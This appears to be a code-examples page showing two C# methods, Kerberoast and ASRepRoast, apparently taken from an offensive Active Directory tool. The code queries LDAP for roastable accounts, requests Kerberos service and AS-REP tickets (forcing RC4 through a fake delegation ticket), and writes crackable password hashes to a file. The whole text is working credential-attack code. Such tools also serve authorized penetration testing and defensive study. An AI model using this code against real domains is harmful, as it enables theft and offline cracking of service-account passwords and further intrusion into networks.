Ejemplo n.º 1
0
        public static void Kerberoast(string spn = "", string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "", bool simpleOutput = false, KRB_CRED TGT = null, bool useTGTdeleg = false, string supportedEType = "rc4", string pwdSetAfter = "", string pwdSetBefore = "", string ldapFilter = "", int resultLimit = 0, bool userStats = false)
        {
            if (userStats)
            {
                Console.WriteLine("[*] Listing statistics about target users, no ticket requests being performed.");
            }
            else if (TGT != null)
            {
                Console.WriteLine("[*] Using a TGT /ticket to request service tickets");
            }
            else if (useTGTdeleg || String.Equals(supportedEType, "rc4opsec"))
            {
                Console.WriteLine("[*] Using 'tgtdeleg' to request a TGT for the current user");
                byte[] delegTGTbytes = LSA.RequestFakeDelegTicket("", false);
                TGT = new KRB_CRED(delegTGTbytes);
                Console.WriteLine("[*] RC4_HMAC will be the requested for AES-enabled accounts, all etypes will be requested for everything else");
            }
            else
            {
                Console.WriteLine("[*] NOTICE: AES hashes will be returned for AES-enabled accounts.");
                Console.WriteLine("[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.\r\n");
            }

            if (!String.IsNullOrEmpty(spn))
            {
                Console.WriteLine("\r\n[*] Target SPN             : {0}", spn);

                if (TGT != null)
                {
                    // if a TGT .kirbi is supplied, use that for the request
                    //      this could be a passed TGT or if TGT delegation is specified
                    GetTGSRepHash(TGT, spn, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, dc, Interop.KERB_ETYPE.rc4_hmac);
                }
                else
                {
                    // otherwise use the KerberosRequestorSecurityToken method
                    GetTGSRepHash(spn, "USER", "DISTINGUISHEDNAME", cred, outFile);
                }
            }
            else
            {
                if ((!String.IsNullOrEmpty(domain)) || (!String.IsNullOrEmpty(OUName)) || (!String.IsNullOrEmpty(userName)))
                {
                    if (!String.IsNullOrEmpty(userName))
                    {
                        if (userName.Contains(","))
                        {
                            Console.WriteLine("[*] Target Users           : {0}", userName);
                        }
                        else
                        {
                            Console.WriteLine("[*] Target User            : {0}", userName);
                        }
                    }
                    if (!String.IsNullOrEmpty(domain))
                    {
                        Console.WriteLine("[*] Target Domain          : {0}", domain);
                    }
                    if (!String.IsNullOrEmpty(OUName))
                    {
                        Console.WriteLine("[*] Target OU              : {0}", OUName);
                    }
                }

                DirectoryEntry    directoryObject = null;
                DirectorySearcher userSearcher    = null;
                string            bindPath        = "";
                string            domainPath      = "";

                try
                {
                    if (cred != null)
                    {
                        if (!String.IsNullOrEmpty(OUName))
                        {
                            string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", "");
                            bindPath = String.Format("LDAP://{0}/{1}", cred.Domain, ouPath);
                        }
                        else
                        {
                            bindPath = String.Format("LDAP://{0}", cred.Domain);
                        }
                    }
                    else if ((!String.IsNullOrEmpty(domain)) || !String.IsNullOrEmpty(OUName))
                    {
                        if (String.IsNullOrEmpty(dc))
                        {
                            dc = Networking.GetDCName();
                        }

                        bindPath = String.Format("LDAP://{0}", dc);

                        if (!String.IsNullOrEmpty(OUName))
                        {
                            string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", "");
                            bindPath = String.Format("{0}/{1}", bindPath, ouPath);
                        }
                        else if (!String.IsNullOrEmpty(domain))
                        {
                            domainPath = domain.Replace(".", ",DC=");
                            bindPath   = String.Format("{0}/DC={1}", bindPath, domainPath);
                        }
                    }

                    if (!String.IsNullOrEmpty(bindPath))
                    {
                        directoryObject = new DirectoryEntry(bindPath);
                    }
                    else
                    {
                        directoryObject = new DirectoryEntry();
                    }

                    if (cred != null)
                    {
                        // if we're using alternate credentials for the connection
                        string userDomain = String.Format("{0}\\{1}", cred.Domain, cred.UserName);
                        directoryObject.Username = userDomain;
                        directoryObject.Password = cred.Password;

                        using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, cred.Domain))
                        {
                            if (!pc.ValidateCredentials(cred.UserName, cred.Password))
                            {
                                Console.WriteLine("\r\n[X] Credentials supplied for '{0}' are invalid!", userDomain);
                                return;
                            }
                            else
                            {
                                Console.WriteLine("[*] Using alternate creds  : {0}", userDomain);
                            }
                        }
                    }

                    userSearcher = new DirectorySearcher(directoryObject);
                }
                catch (Exception ex)
                {
                    Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message);
                    return;
                }

                // check to ensure that the bind worked correctly
                try
                {
                    string dirPath = directoryObject.Path;
                    if (String.IsNullOrEmpty(dirPath))
                    {
                        Console.WriteLine("[*] Searching the current domain for Kerberoastable users");
                    }
                    else
                    {
                        Console.WriteLine("[*] Searching path '{0}' for Kerberoastable users", dirPath);
                    }
                }
                catch (DirectoryServicesCOMException ex)
                {
                    if (!String.IsNullOrEmpty(OUName))
                    {
                        Console.WriteLine("\r\n[X] Error validating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message);
                    }
                    else
                    {
                        Console.WriteLine("\r\n[X] Error validating the domain searcher: {0}", ex.Message);
                    }
                    return;
                }

                try
                {
                    string userFilter = "";
                    if (!String.IsNullOrEmpty(userName))
                    {
                        if (userName.Contains(","))
                        {
                            // searching for multiple specified users, ensuring they're not disabled accounts
                            string userPart = "";
                            foreach (string user in userName.Split(','))
                            {
                                userPart += String.Format("(samAccountName={0})", user);
                            }
                            userFilter = String.Format("(&(|{0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))", userPart);
                        }
                        else
                        {
                            // searching for a specified user, ensuring it's not a disabled account
                            userFilter = String.Format("(samAccountName={0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2))", userName);
                        }
                    }
                    else
                    {
                        // if no user specified, filter out the krbtgt account and disabled accounts
                        userFilter = "(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))";
                    }

                    string encFilter = "";
                    if (String.Equals(supportedEType, "rc4opsec"))
                    {
                        // "opsec" RC4, meaning don't RC4 roast accounts that support AES
                        Console.WriteLine("[*] Searching for accounts that only support RC4_HMAC, no AES");
                        encFilter = "(!msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)";
                    }
                    else if (String.Equals(supportedEType, "aes"))
                    {
                        // msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24 ->  supported etypes includes AES128/256
                        Console.WriteLine("[*] Searching for accounts that support AES128_CTS_HMAC_SHA1_96/AES256_CTS_HMAC_SHA1_96");
                        encFilter = "(msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)";
                    }

                    // Note: I originally thought that if enctypes included AES but DIDN'T include RC4,
                    //       then RC4 tickets would NOT be returned, so the original filter was:
                    //  !msds-supportedencryptiontypes=*                        ->  null supported etypes, so RC4
                    //  msds-supportedencryptiontypes=0                         ->  no supported etypes specified, so RC4
                    //  msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4 ->  supported etypes includes RC4
                    //  userSearcher.Filter = "(&(samAccountType=805306368)(serviceprincipalname=*)(!samAccountName=krbtgt)(|(!msds-supportedencryptiontypes=*)(msds-supportedencryptiontypes=0)(msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4)))";

                    //  But apparently Microsoft is silly and doesn't really follow their own docs and RC4 is always returned regardless ¯\_(ツ)_/¯
                    //      so this fine-grained filtering is not needed

                    string userSearchFilter = "";
                    if (!(String.IsNullOrEmpty(pwdSetAfter) & String.IsNullOrEmpty(pwdSetBefore)))
                    {
                        if (String.IsNullOrEmpty(pwdSetAfter))
                        {
                            pwdSetAfter = "01-01-1601";
                        }
                        if (String.IsNullOrEmpty(pwdSetBefore))
                        {
                            pwdSetBefore = "01-01-2100";
                        }

                        Console.WriteLine("[*] Searching for accounts with lastpwdset from {0} to {1}", pwdSetAfter, pwdSetBefore);

                        try
                        {
                            DateTime timeFromConverted  = DateTime.ParseExact(pwdSetAfter, "MM-dd-yyyy", null);
                            DateTime timeUntilConverted = DateTime.ParseExact(pwdSetBefore, "MM-dd-yyyy", null);
                            string   timePeriod         = "(pwdlastset>=" + timeFromConverted.ToFileTime() + ")(pwdlastset<=" + timeUntilConverted.ToFileTime() + ")";
                            userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1}{2})", userFilter, encFilter, timePeriod);
                        }
                        catch
                        {
                            Console.WriteLine("\r\n[X] Error parsing /pwdsetbefore or /pwdsetafter, please use the format 'MM-dd-yyyy'");
                            return;
                        }
                    }
                    else
                    {
                        userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1})", userFilter, encFilter);
                    }

                    if (!String.IsNullOrEmpty(ldapFilter))
                    {
                        userSearchFilter = String.Format("(&{0}({1}))", userSearchFilter, ldapFilter);
                    }

                    userSearcher.Filter = userSearchFilter;
                }
                catch (Exception ex)
                {
                    Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message);
                    return;
                }

                try
                {
                    if (resultLimit > 0)
                    {
                        userSearcher.SizeLimit = resultLimit;
                        Console.WriteLine("[*] Up to {0} result(s) will be returned", resultLimit.ToString());
                    }

                    SearchResultCollection users = userSearcher.FindAll();

                    if (users.Count == 0)
                    {
                        Console.WriteLine("\r\n[X] No users found to Kerberoast!");
                    }
                    else
                    {
                        Console.WriteLine("\r\n[*] Total kerberoastable users : {0}\r\n", users.Count);
                    }

                    // used to keep track of user encryption types
                    SortedDictionary <Interop.SUPPORTED_ETYPE, int> userETypes = new SortedDictionary <Interop.SUPPORTED_ETYPE, int>();
                    // used to keep track of years that users had passwords last set in
                    SortedDictionary <int, int> userPWDsetYears = new SortedDictionary <int, int>();

                    foreach (SearchResult user in users)
                    {
                        string   samAccountName                 = user.Properties["samAccountName"][0].ToString();
                        string   distinguishedName              = user.Properties["distinguishedName"][0].ToString();
                        string   servicePrincipalName           = user.Properties["servicePrincipalName"][0].ToString();
                        long     lastPwdSet                     = (long)(user.Properties["pwdlastset"][0]);
                        DateTime pwdLastSet                     = DateTime.FromFileTimeUtc(lastPwdSet);
                        Interop.SUPPORTED_ETYPE supportedETypes = (Interop.SUPPORTED_ETYPE) 0;
                        if (user.Properties.Contains("msDS-SupportedEncryptionTypes"))
                        {
                            supportedETypes = (Interop.SUPPORTED_ETYPE)user.Properties["msDS-SupportedEncryptionTypes"][0];
                        }

                        try
                        {
                            if (!userETypes.ContainsKey(supportedETypes))
                            {
                                userETypes[supportedETypes] = 1;
                            }
                            else
                            {
                                userETypes[supportedETypes] = userETypes[supportedETypes] + 1;
                            }
                            int year = (int)pwdLastSet.Year;
                            if (!userPWDsetYears.ContainsKey(year))
                            {
                                userPWDsetYears[year] = 1;
                            }
                            else
                            {
                                userPWDsetYears[year] = userPWDsetYears[year] + 1;
                            }
                        }
                        catch { }

                        if (!userStats)
                        {
                            if (!simpleOutput)
                            {
                                Console.WriteLine("\r\n[*] SamAccountName         : {0}", samAccountName);
                                Console.WriteLine("[*] DistinguishedName      : {0}", distinguishedName);
                                Console.WriteLine("[*] ServicePrincipalName   : {0}", servicePrincipalName);
                                Console.WriteLine("[*] PwdLastSet             : {0}", pwdLastSet);
                                Console.WriteLine("[*] Supported ETypes       : {0}", supportedETypes);
                            }

                            if (!String.IsNullOrEmpty(domain))
                            {
                                servicePrincipalName = String.Format("{0}@{1}", servicePrincipalName, domain);
                            }
                            if (TGT != null)
                            {
                                // if a TGT .kirbi is supplied, use that for the request
                                //      this could be a passed TGT or if TGT delegation is specified

                                if (String.Equals(supportedEType, "rc4") &&
                                    (
                                        ((supportedETypes & Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) ||
                                        ((supportedETypes & Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96)
                                    )
                                    )
                                {
                                    // if we're roasting RC4, but AES is supported AND we have a TGT, specify RC4
                                    GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, dc, Interop.KERB_ETYPE.rc4_hmac);
                                }
                                else
                                {
                                    // otherwise don't force RC4 - have all supported encryption types for opsec reasons
                                    GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, dc);
                                }
                            }
                            else
                            {
                                // otherwise use the KerberosRequestorSecurityToken method
                                GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile, simpleOutput);
                            }
                        }
                    }

                    if (userStats)
                    {
                        var eTypeTable      = new ConsoleTable("Supported Encryption Type", "Count");
                        var pwdLastSetTable = new ConsoleTable("Password Last Set Year", "Count");
                        Console.WriteLine();

                        // display stats about the users found
                        foreach (var item in userETypes)
                        {
                            eTypeTable.AddRow(item.Key.ToString(), item.Value.ToString());
                        }
                        eTypeTable.Write();

                        foreach (var item in userPWDsetYears)
                        {
                            pwdLastSetTable.AddRow(item.Key.ToString(), item.Value.ToString());
                        }
                        pwdLastSetTable.Write();
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex.InnerException.Message);
                    return;
                }
            }

            if (!String.IsNullOrEmpty(outFile))
            {
                Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile));
            }
        }
Ejemplo n.º 2
0
        public static void ASRepRoast(string domain, string userName = "", string OUName = "", string domainController = "", string format = "john", System.Net.NetworkCredential cred = null, string outFile = "", string ldapFilter = "")
        {
            if (!String.IsNullOrEmpty(userName))
            {
                Console.WriteLine("[*] Target User            : {0}", userName);
            }
            if (!String.IsNullOrEmpty(OUName))
            {
                Console.WriteLine("[*] Target OU              : {0}", OUName);
            }
            if (!String.IsNullOrEmpty(domain))
            {
                Console.WriteLine("[*] Target Domain          : {0}", domain);
            }
            if (!String.IsNullOrEmpty(domainController))
            {
                Console.WriteLine("[*] Target DC              : {0}", domainController);
            }

            Console.WriteLine();

            if (!String.IsNullOrEmpty(userName) && !String.IsNullOrEmpty(domain) && !String.IsNullOrEmpty(domainController))
            {
                // if we have a username, domain, and DC specified, we don't need to search for users and can roast directly
                GetASRepHash(userName, domain, domainController, format, outFile);
            }
            else
            {
                DirectoryEntry    directoryObject = null;
                DirectorySearcher userSearcher    = null;
                string            bindPath        = "";
                string            domainPath      = "";

                try
                {
                    if (cred != null)
                    {
                        if (!String.IsNullOrEmpty(OUName))
                        {
                            string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", "");
                            bindPath = String.Format("LDAP://{0}/{1}", cred.Domain, ouPath);
                        }
                        else
                        {
                            bindPath = String.Format("LDAP://{0}", cred.Domain);
                        }
                    }
                    else if ((!String.IsNullOrEmpty(domain)) || !String.IsNullOrEmpty(OUName))
                    {
                        if (String.IsNullOrEmpty(domainController))
                        {
                            domainController = Networking.GetDCName();
                        }

                        bindPath = String.Format("LDAP://{0}", domainController);

                        if (!String.IsNullOrEmpty(OUName))
                        {
                            string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", "");
                            bindPath = String.Format("{0}/{1}", bindPath, ouPath);
                        }
                        else if (!String.IsNullOrEmpty(domain))
                        {
                            domainPath = domain.Replace(".", ",DC=");
                            bindPath   = String.Format("{0}/DC={1}", bindPath, domainPath);
                        }
                    }

                    if (!String.IsNullOrEmpty(bindPath))
                    {
                        directoryObject = new DirectoryEntry(bindPath);
                    }
                    else
                    {
                        directoryObject = new DirectoryEntry();
                    }

                    if (cred != null)
                    {
                        // if we're using alternate credentials for the connection
                        string userDomain = String.Format("{0}\\{1}", cred.Domain, cred.UserName);
                        directoryObject.Username = userDomain;
                        directoryObject.Password = cred.Password;

                        using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, cred.Domain))
                        {
                            if (!pc.ValidateCredentials(cred.UserName, cred.Password))
                            {
                                Console.WriteLine("\r\n[X] Credentials supplied for '{0}' are invalid!", userDomain);
                                return;
                            }
                            else
                            {
                                Console.WriteLine("[*] Using alternate creds  : {0}", userDomain);
                            }
                        }
                    }

                    userSearcher = new DirectorySearcher(directoryObject);
                    // enable LDAP paged search to get all results, by pages of 1000 items
                    userSearcher.PageSize = 1000;
                }
                catch (Exception ex)
                {
                    Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message);
                    return;
                }

                // check to ensure that the bind worked correctly
                try
                {
                    string dirPath = directoryObject.Path;
                    if (String.IsNullOrEmpty(dirPath))
                    {
                        Console.WriteLine("[*] Searching the current domain for AS-REP roastable users");
                    }
                    else
                    {
                        Console.WriteLine("[*] Searching path '{0}' for AS-REP roastable users", dirPath);
                    }
                }
                catch (DirectoryServicesCOMException ex)
                {
                    if (!String.IsNullOrEmpty(OUName))
                    {
                        Console.WriteLine("\r\n[X] Error validating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message);
                    }
                    else
                    {
                        Console.WriteLine("\r\n[X] Error validating the domain searcher: {0}", ex.Message);
                    }
                    return;
                }

                try
                {
                    string userSearchFilter = "";

                    if (String.IsNullOrEmpty(userName))
                    {
                        userSearchFilter = "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))";
                    }
                    else
                    {
                        userSearchFilter = String.Format("(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)(samAccountName={0}))", userName);
                    }
                    if (!String.IsNullOrEmpty(ldapFilter))
                    {
                        userSearchFilter = String.Format("(&{0}({1}))", userSearchFilter, ldapFilter);
                    }
                    userSearcher.Filter = userSearchFilter;
                }
                catch (Exception ex)
                {
                    Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message);
                    return;
                }

                try
                {
                    SearchResultCollection users = userSearcher.FindAll();

                    if (users.Count == 0)
                    {
                        Console.WriteLine("[X] No users found to AS-REP roast!");
                    }

                    foreach (SearchResult user in users)
                    {
                        string samAccountName    = user.Properties["samAccountName"][0].ToString();
                        string distinguishedName = user.Properties["distinguishedName"][0].ToString();
                        Console.WriteLine("[*] SamAccountName         : {0}", samAccountName);
                        Console.WriteLine("[*] DistinguishedName      : {0}", distinguishedName);

                        GetASRepHash(samAccountName, domain, domainController, format, outFile);
                    }
                }
                catch (Exception ex)
                {
                    if (ex.InnerException != null)
                    {
                        Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex.InnerException.Message);
                    }
                    else
                    {
                        Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex.Message);
                    }
                    return;
                }
            }

            if (!String.IsNullOrEmpty(outFile))
            {
                Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile));
            }
        }